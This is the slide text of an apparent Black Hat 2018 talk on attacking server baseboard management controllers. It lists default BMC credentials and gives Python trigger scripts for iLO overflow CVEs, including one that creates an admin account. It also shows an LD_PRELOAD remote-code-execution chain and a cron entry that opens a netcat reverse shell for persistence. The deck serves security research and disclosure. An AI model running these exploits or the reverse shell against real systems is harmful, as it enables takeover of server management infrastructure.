THE UNBEARABLE LIGHTNESS OF BMC

Blackhat 2018
WELCOME

to a world of

INFINITE HARDWARE
A fatal exception 0E has occurred at 0028:C562F1B7 in VXD ctpci9x(05) + 00001853. The current application will be terminated.

* Press any key to terminate the current application.
* Press CTRL+ALT+DEL again to restart your computer. You will lose any unsaved information in all applications.

Press any key to continue
WHO ARE WE?

Nico Waisman
VP LATAM
@nicowaisman

Matias Soler
SR Security Researcher
@gnuler
- Independent from the OS
- Remote Control
- Monitoring:
  - Temperature
  - Voltage
  - Fans
### Temperature Graph

- Front View
- Back View

### Sensor Data

<table>
<thead>
<tr>
<th>Sensor</th>
<th>Location</th>
<th>X</th>
<th>Y</th>
<th>Status</th>
<th>Reading</th>
<th>Thresholds</th>
</tr>
</thead>
<tbody>
<tr>
<td>01-Inlet Ambient</td>
<td>Ambient</td>
<td>13</td>
<td>0</td>
<td>OK</td>
<td>28°C</td>
<td>Caution: 42°C, Critical: 46°C</td>
</tr>
<tr>
<td>02-CPU 1</td>
<td>CPU</td>
<td>11</td>
<td>4</td>
<td>OK</td>
<td>40°C</td>
<td>Caution: 70°C, Critical: N/A</td>
</tr>
<tr>
<td>03-CPU 2</td>
<td>CPU</td>
<td>4</td>
<td>4</td>
<td>OK</td>
<td>40°C</td>
<td>Caution: 70°C, Critical: N/A</td>
</tr>
<tr>
<td>05-P1 DIMM 7-12</td>
<td>Memory</td>
<td>13</td>
<td>5</td>
<td>OK</td>
<td>30°C</td>
<td>Caution: 67°C, Critical: N/A</td>
</tr>
<tr>
<td>07-P2 DIMM 7-12</td>
<td>Memory</td>
<td>6</td>
<td>4</td>
<td>OK</td>
<td>32°C</td>
<td>Caution: 67°C, Critical: N/A</td>
</tr>
<tr>
<td>08-P1 Mem Zone</td>
<td>Memory</td>
<td>8</td>
<td>7</td>
<td>OK</td>
<td>33°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>09-P1 Mem Zone</td>
<td>Memory</td>
<td>14</td>
<td>6</td>
<td>OK</td>
<td>39°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>10-P2 Mem Zone</td>
<td>Memory</td>
<td>1</td>
<td>6</td>
<td>OK</td>
<td>37°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>11-P2 Mem Zone</td>
<td>Memory</td>
<td>7</td>
<td>7</td>
<td>OK</td>
<td>33°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>12-HD Max</td>
<td>System</td>
<td>12</td>
<td>0</td>
<td>OK</td>
<td>35°C</td>
<td>Caution: 60°C, Critical: N/A</td>
</tr>
<tr>
<td>13-Chipset 1</td>
<td>System</td>
<td>8</td>
<td>9</td>
<td>OK</td>
<td>44°C</td>
<td>Caution: 105°C, Critical: N/A</td>
</tr>
<tr>
<td>14-ChipsetL1 Zone</td>
<td>System</td>
<td>9</td>
<td>10</td>
<td>OK</td>
<td>37°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>15-P/S 1 Inlet</td>
<td>Power Supply</td>
<td>1</td>
<td>11</td>
<td>OK</td>
<td>33°C</td>
<td>Caution: N/A, Critical: N/A</td>
</tr>
<tr>
<td>16-P/S 1 Zone</td>
<td>Power Supply</td>
<td>1</td>
<td>8</td>
<td>OK</td>
<td>36°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>17-P/S 2 Inlet</td>
<td>Power Supply</td>
<td>5</td>
<td>11</td>
<td>OK</td>
<td>34°C</td>
<td>Caution: N/A, Critical: N/A</td>
</tr>
<tr>
<td>18-P/S 2 Zone</td>
<td>Power Supply</td>
<td>5</td>
<td>7</td>
<td>OK</td>
<td>35°C</td>
<td>Caution: 65°C, Critical: 75°C</td>
</tr>
<tr>
<td>21-VR P1</td>
<td>System</td>
<td>11</td>
<td>1</td>
<td>OK</td>
<td>31°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>22-VR P2</td>
<td>System</td>
<td>4</td>
<td>1</td>
<td>OK</td>
<td>36°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>23-VR P1 Mem</td>
<td>System</td>
<td>9</td>
<td>1</td>
<td>OK</td>
<td>28°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>24-VR P1 Mem</td>
<td>System</td>
<td>13</td>
<td>1</td>
<td>OK</td>
<td>20°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>25-VR P2 Mem</td>
<td>System</td>
<td>2</td>
<td>1</td>
<td>OK</td>
<td>31°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>26-VR P2 Mem</td>
<td>System</td>
<td>6</td>
<td>1</td>
<td>OK</td>
<td>31°C</td>
<td>Caution: 115°C, Critical: 120°C</td>
</tr>
<tr>
<td>27-VR P1 Mem Zone</td>
<td>System</td>
<td>9</td>
<td>0</td>
<td>OK</td>
<td>29°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>28-VR P1 Mem Zone</td>
<td>System</td>
<td>13</td>
<td>0</td>
<td>OK</td>
<td>28°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>29-VR P2 Mem Zone</td>
<td>System</td>
<td>1</td>
<td>0</td>
<td>OK</td>
<td>32°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>30-VR P2 Mem Zone</td>
<td>System</td>
<td>5</td>
<td>0</td>
<td>OK</td>
<td>31°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>31-HD Controller</td>
<td>System</td>
<td>12</td>
<td>10</td>
<td>OK</td>
<td>58°C</td>
<td>Caution: 105°C, Critical: N/A</td>
</tr>
<tr>
<td>32-HD Ctrlr Zone</td>
<td>System</td>
<td>12</td>
<td>11</td>
<td>OK</td>
<td>39°C</td>
<td>Caution: 65°C, Critical: 70°C</td>
</tr>
<tr>
<td>33-PCI 1 Zone</td>
<td>System</td>
<td>8</td>
<td>12</td>
<td>OK</td>
<td>37°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>34-PCI 1 Zone</td>
<td>System</td>
<td>10</td>
<td>13</td>
<td>OK</td>
<td>36°C</td>
<td>Caution: 66°C, Critical: 71°C</td>
</tr>
<tr>
<td>36-PCI 2 Zone</td>
<td>System</td>
<td>14</td>
<td>10</td>
<td>OK</td>
<td>39°C</td>
<td>Caution: 65°C, Critical: 70°C</td>
</tr>
<tr>
<td>37-System Board</td>
<td>System</td>
<td>12</td>
<td>6</td>
<td>OK</td>
<td>38°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
<tr>
<td>38-System Board</td>
<td>System</td>
<td>4</td>
<td>6</td>
<td>OK</td>
<td>37°C</td>
<td>Caution: 70°C, Critical: 75°C</td>
</tr>
</tbody>
</table>
Full Network Stack
KVM
Serial Console
Power Management
It's a trap!

(OR A BACKDOOR)
SERVERS AREN'T VULNERABLE

IF THEY ARE DOWN
While your server is plugged in, your BMC is on.
HP ILO 2
NEC v850
ThreadX
HP ILO 4

ARM

GHS INTEGRITY
IMM/iDRAC

SUPER H

LINUX
PRE AUTH

AND REMOTE...
THE EXCITEMENT OF AUDITING BMC
ATTACK

SURFACE
Command line standardized for DTMF

Runs over SSH

Most of the attack surface is post-auth. However post-auth is still useful to triage/debug other attacks
nico@nicohop:~$ ssh -ladmin 192.168.1.125
admin@192.168.1.125's password:
/admin1-> help
[Usage]
  show  [<options>] [<target>] [<properties>]
        [<propertyname==<propertyvalue>]
  set   [<options>] [<target>] <propertyname==<value>
  cd    [<options>] [<target>]
  create [<options>] [<target>] [<property of new target==<value>]
        [<property of new target==<value>]
  delete [<options>] [<target>]
  exit  [<options>]
  reset [<options>] [<target>]
  start [<options>] [<target>]
  stop  [<options>] [<target>]
  version [<options>]
  help  [<options>] [<help topics>]
  load  -source <URI> [<options>] [<target>]
  dump  -destination <URI> [<options>] [<target>]

/admin1->
SMASH

Enables a remote console!:D

TEXTCONS
<table>
<thead>
<tr>
<th>Product Name</th>
<th>Default Username</th>
<th>Default Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>HP Integrated Lights Out (iLO)</td>
<td>Administrator</td>
<td>&lt;factory randomized 8-character string&gt;</td>
</tr>
<tr>
<td>Dell Remote Access Card (iDRAC, DRAC)</td>
<td>root</td>
<td>calvin</td>
</tr>
<tr>
<td>IBM Integrated Management Module (IMM)</td>
<td>USERID</td>
<td>PASSWORD (with a zero)</td>
</tr>
<tr>
<td>Fujitsu Integrated Remote Management Controller</td>
<td>admin</td>
<td>admin</td>
</tr>
<tr>
<td>Supermicro IPMI (2.0)</td>
<td>ADMIN</td>
<td>ADMIN</td>
</tr>
<tr>
<td>Oracle/Sun Integrated Lights Out Manager (iLOM)</td>
<td>root</td>
<td>changeme</td>
</tr>
<tr>
<td>ASUS iKVM BMC</td>
<td>admin</td>
<td>admin</td>
</tr>
</tbody>
</table>

https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
$ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129
**Vulnerability Details:** [CVE-2015-5621](https://cve.mitre.org/cve/CVE-2015-5621)

The `snmp_pdu_parse` function in `snmp_api.c` in Net-SNMP 5.7.2 and earlier does not remove the `varBind` variable in a `netsnmp_variable_list` item when parsing of the SNMP PDU fails, which allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted packet.

**Publish Date:** 2015-08-19  **Last Update Date:** 2018-03-29

---

**CVSS Scores & Vulnerability Types**

<table>
<thead>
<tr>
<th>CVSS Score</th>
<th><strong>7.5</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Confidentiality Impact</td>
<td>Partial (There is considerable informational disclosure.)</td>
</tr>
<tr>
<td>Integrity Impact</td>
<td>Partial (Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the attacker can affect is limited.)</td>
</tr>
<tr>
<td>Availability Impact</td>
<td>Partial (There is reduced performance or interruptions in resource availability.)</td>
</tr>
<tr>
<td>Access Complexity</td>
<td>Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit.)</td>
</tr>
<tr>
<td>Authentication</td>
<td>Not required (Authentication is not required to exploit the vulnerability.)</td>
</tr>
<tr>
<td>Gained Access</td>
<td>None</td>
</tr>
<tr>
<td>Vulnerability Type(s)</td>
<td>Denial Of Service Execute Code</td>
</tr>
<tr>
<td>CWE ID</td>
<td>19</td>
</tr>
</tbody>
</table>
BMC has an infamous protocol called IPMI UDP/623

Used to remotely manage BMC and access most of the capabilities

Including the Serial Console over UDP
In 2013 the ITWorld magazine called IPMI the most dangerous protocol in the world...
Authentication Bypass on Cipher Zero ¹
RAKP Authentication debacle ²
Predictable Session ID ³

1,2) Dan Farmer IPMI research
3) “A Case of Weak Session-ID
https://labs.mwrinfosecurity.com/blog/cve-2014-8272/
length = \nIPMI_Packet->MessageLength - 6;
mem = pool_block_allocate();
memcpy(mem, source, length);
buf = "0600ff0700000000000000000000000092018c88100388e04b5"
mess = [int(buf[a:a+2], 16) for a in range(0, len(buf), 2)]
p = 13
nm = mess[:p] + [0] + mess[p+1:]
s = SendPacket(nm, sys.argv[1], IPMI_PORT)
Interesting target

PREFERED BY SYSADMIN & FIREWALLS, OPEN BY DEFAULT

Most of them use popular embedded webs server: Appweb

However some vendors implement their own server
Discovering BMCs

**URL/XMLDATA?ITEM=ALL**

*On HP ILO*

**URL/CGI-BIN/DISCOVER**

*On DELL iDRAC*
HTTPS

HP ILO 4 <2.53
CVE-2017-12542
SScanf("%s %s")

Fabien PERIGAUD Alexandre GAZET Joffrey CZARNY from Synacktiv/Airbus
Easy exploit to trigger on iLO4 < 2.53

```python
exploit_trigger = {'Connection': 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'
response = requests.post(url, json=body, headers = exploit_trigger, verify = False)

body = {
    'UserName':username,
    'Password':password,
    'Oem':Oem
}

Oem = {
    'Hp': {
        'LoginName': username,
        'Privileges': {
            'LoginPriv': True,
            'RemoteConsolePriv': True,
            'UserConfigPriv': True,
            'VirtualMediaPriv': True,
            'iLOConfigPriv': True,
            'VirtualPowerAndResetPriv': True,
        }
    }
}
```
Environment Variable Injection leads to RCE

```bash
$ curl 'https://x.x.x.x/cgi-bin/login?LD_DEBUG=files'
HTTP/1.1 503 Service Unavailable
Keep-Alive: timeout=60, max=199
[...]
24986: file=/usr/lib/libfipsint.so.0.0.0 [0]; needed by /usr/local/cgi-bin/login [0]
24986: file=/usr/lib/libfipsint.so.0.0.0 [0]; generating link map
24986: dynamic: 0x295689e8 base: 0x29558000 size: 0x00010b24
24986: entry: 0x29558680 phdr: 0x29558034 phnum: 4
```
WE KNOW WHAT YOU ARE THINKING

/proc/self/fd/0
The putfile CGI allows unauth users to store arbitrary content in a file:
- Limited to 128kB
- File /tmp/sshpkauthupload.tmp

Environment Variable Injection leads to RCE
POST /cgi-bin/putfile

POST cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp

File sshpkauthupload.tmp created with a controlled binary

Library loaded
Opens the attack surface to another layer of attacks:

- Redfish
- RIBCL
- WS-MAN
REDFish is a RESTful API created by DTMF after the IPMI fiasco

- Uses JSON to communicate

- Endpoints available at /redfish/v1/
RIBCL is an HP ILO solution for configuration and management using XML over HTTP.

The `/RIBCL` endpoint is accessible pre-authentication.

RIBCL itself handles the authentication through the XML protocol.
Web Service Management

Microsoft supports this natively (Win-RM)

Similar syntax to XML but with certain variations (based on SOAP)

Used extensively due to Powershell support
Generally accessible through an HTTPS endpoint /wsman

But could be found standalone on port tcp/5985

Auth: Basic Auth, Digest-Auth, Kerberos
HP ILO 2
CVE-2017-8979

Preauth Stack-Based Buffer Overflow in Wsman XML Tag Name Parsing

```assembly
ROM:001108B4 movhi 0x1F, r0, r7
ROM:001108BS movea 0xAE0, r7, r7
  // "%[^\:\]:%s"

ROM:001108BC addi 0x80, sp, r8
ROM:001108C0 addi 0xC0, sp, r9
ROM:001108C4 jarl sscanf, lp
  // sscanf(arg2, "%[^\:\]:%s",
          sp[0x80], sp[0xC0])

ROM:001108C8 cmp 2, r10
ROM:001108CA bz loc_1108E
```
Easy exploit to trigger on iLO2 < 2.32

```python
import requests
headers = {'Content-Type': 'application/soap+xml;charset=UTF-8'}
payload = "<x:" + "B" * 0x300 + "">
\n</x>"
r = requests.post('https://x.x.x.x/wsman',
                   data=payload, verify=False, headers=headers)
print r.text
```
Preauth Stack-Based Buffer Overflow in `wsman XMLns`

```
addi 0, sp, r27
movhi 0x1F, r0, r7
movea 0xAAC, r7, r7
```

```
"xmlns:%[^=]"
```

```
mov r27, r8

// r8 = sp[0] = dst buffer
```

```
jarl sscanf, lp

// r6 buffer, r7 fmtstring, etc.
```

```
cmp r0, r10
```

```
bnz loc_11058E
```

HP ILO 2
CVE-2017-8979
Easy exploit to trigger in IL02 < 2.32

```python
import requests
headers = {'Content-Type': 'application/soap+xml;charset=UTF-8'}
payload = "<x xmlns:=" + "B" * 0x24C + "="\n</x>"
r = requests.post('https://x.x.x.x/wsman',
    data=payload, verify=False, headers=headers)
print r.text
```
MULTI-DIMENSIONAL MOVEMENT

Or how to move around the DMZ with impunity
**How It Works!**

**Intelligent Platform Management Interface**

IPMI version 2.0 defines the protocols for interfacing with a service processor embedded into a server platform. It allows an off-site administrator to monitor system health and control hardware status, such as rebooting a server.

1. Administrator connects via Web or LAN to IPMI manager, which may be intergrated in and out of band appliance.
2. IPMI manager uses IPMI over IP to connect to baseboard management controller (BMC), which resides on server motherboard.
3. BMC connects to sensors, redundant power, CPU, BIOS and operating system console via a system bus. Administrator can monitor temperature, fan speed, voltage CPU speed, messages, or reboot the server.
#1 Hack the BMC
#2 Hack the server
BMC -> Server

- Serial Console
- Mount a remote DVD
- KVM (VNC, Custom protocol, etc)
- DMA
DEMO TIME!
#1 Hack the Server
#2 Hack the BMC

Gain access to the management network from the internet
On some BMCs, OS Tools are **Unauthenticated**

- Allow you to create users on the BMC
- Flash the Firmware
- Enable an emulated network, compromise it using one of our bugs.
Server -> BMC

- On some BMCs, OS Tools are **Unauthenticated**
- Allow you to create users on the BMC
- Flash the Firmware
- Enable an emulated network, compromise it using one of our bugs.
DEMO TIME!
DEMO TIME!
PERSISTENCE

Like the 90’s kids
Flashing the firmware is easy, however it’s signed.

1 HOUR

2 WEEKS
Hey '90s kid!

You are old.
List and check all the

/dev/mmcblk0p14 on /flash/data2 type ext2 (rw,noatime,errors=continue)
/dev/mmcblk0p13 on /mnt/cores type ext3 (rw,noatime,errors=continue,user_xattr,bARRIER=1,data=writeback)
/dev/mmcblk0p12 on /mmc1 type ext3 (rw,noatime,errors=continue,user_xattr,bARRIER=1,data=ordered)
/dev/mmcblk0p9 on /flash/pd9 type squashfs (ro,noatime)
/dev/mmcblk0p11 on /flash/data0 type ext3 (rw,noatime,errors=continue,bARRIER=1,data=ordered)
/dev/mmcblk0p15 on /mmc2 type ext3 (rw,noatime,errors=continue,bARRIER=1,data=ordered)
tmpfs on /var/volatile type tmpfs (rw,relatime)
mtd:lcl on /flash/data1 type jffs2 (rw,noatime)
/dev/mmcblk0p9 on /flash/pd0 type squashfs (ro,noatime)
No shame on persisting through cron, Right? Right!?
Setting up a cron file

$ ls -lha
-dwxr-xr-x    2 root     root        1.0K Feb 22 19:11 .
-dwxr-xr-x   19 root     root        1.0K Dec 31  1999 ..
-rwxrwxrwx    1 root     root          48 Feb 21 19:54 root
$ cat root
* * * * * /bin/nc 192.168.1.136 4040 -e /bin/sh
Getting a connect back!

```
USER@ILOHOP:~$ nc -v -l 4040
LISTENING ON [0.0.0.0] (FAMILY 0, PORT 4040)
CONNECTION FROM [192.168.1.135] PORT 4040 [TCP/] ACCEPTED (FAMILY 2, SPORT 59455)
$ id
uid=0(root) gid=0(root) groups=0(root)
```
DEMO TIME!
A bunch of proprietary protocols to be analyzed
Write Exploits for the HP ILO 2
More Research on DMA
Analyze tools used to remotely manage BMC
LOMs and NC-SI
CONCLUSION
• DRAC’s are intended to be on a separate management network; they are not designed nor intended to be placed on or connected to the internet. Doing so could expose the connected system to security and other risks for which Dell is not responsible.
QUESTIONS?
SHOUT OUT TO OUR AMAZING TEAM!

(We are hiring)

Mr R., Oren, Ivan, Juan, EMI, LEFF, BAS and Danny

@nicowaisman @gnuler